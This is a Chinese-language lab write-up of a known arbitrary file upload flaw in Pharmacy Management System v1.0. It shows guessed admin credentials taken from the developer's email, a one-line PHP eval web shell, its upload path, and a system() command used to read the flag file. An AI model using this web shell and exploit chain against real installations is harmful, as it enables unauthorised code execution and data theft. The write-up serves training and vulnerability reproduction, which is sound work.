一、题目描述

多语言药房管理系统 (MPMS) 是用 PHP 和 MySQL 开发的, 该软件的主要目的是在药房和客户之间提供一套接口,客户是该软件的主要用户。该软件有助于为药房业务创建一个综合数据库,并根据到期、产品等各种参数提供各种报告。 该CMS中php_action/editProductImage.php存在任意文件上传漏洞,进而导致任意代码执行。

二、简单分析

进入靶场后我们首先可以看到一个登录界面。
在这里插入图片描述
在尝试弱口令和Forgot Password没用后,开始寻找别的有用的信息。最后在页面底部发现了有用的信息,此网站的作者是Mayuri K。
在这里插入图片描述
点击作者即可跳转到作者的主页,在这里发现了源代码

在这里插入图片描述
源代码链接:

https://www.mayurik.com/source-code/P0349/best-pharmacy-billing-software-free-download

并且我也在国家信息安全漏洞库里找到了这个漏洞
在这里插入图片描述

漏洞简介

Pharmacy Management System(MPMS)是Mayuri K.个人开发者的一个多语言药房管理系统。Pharmacy Management System v1.0 版本存在安全漏洞,该漏洞源于组件 /php_action/editProductImage.php 包含远程代码执行(RCE)问题。攻击者利用该漏洞可以通过制作的图像文件执行任意代码。

不过我们想上传文件得进入后台,进入后台得找到用户名和密码。联系到此网站的作者是Mayuri K,我们可以尝试用作者的email和name作为用户名和密码。

email:mayuri.infospace@gmail.com
passwd:mayurik

在这里插入图片描述
发现登录成功,进入后台可以发现这里可以上传文件
在这里插入图片描述
提前构造好一句话木马shell.php

<?php eval($_POST[cmd]):?>

上传一句话木马,其余信息随便填一下。
在这里插入图片描述
上传成功
在这里插入图片描述
右键图片复制图片地址

http://xxxxx/assets/myimages/shell.php

在这里插入图片描述
访问图片地址,执行payload
cmd=system(‘tac /f*’);
在这里插入图片描述

三、总结

本道题虽然简单,但是运用到的知识点不少,信息搜集,社工,文件上传,命令执行,代码执行都有体现,比较适合新手入门。

复现CVE比打CTF容易多了,打了几天的Hackergame打的头疼,复现几个CVE放松放松。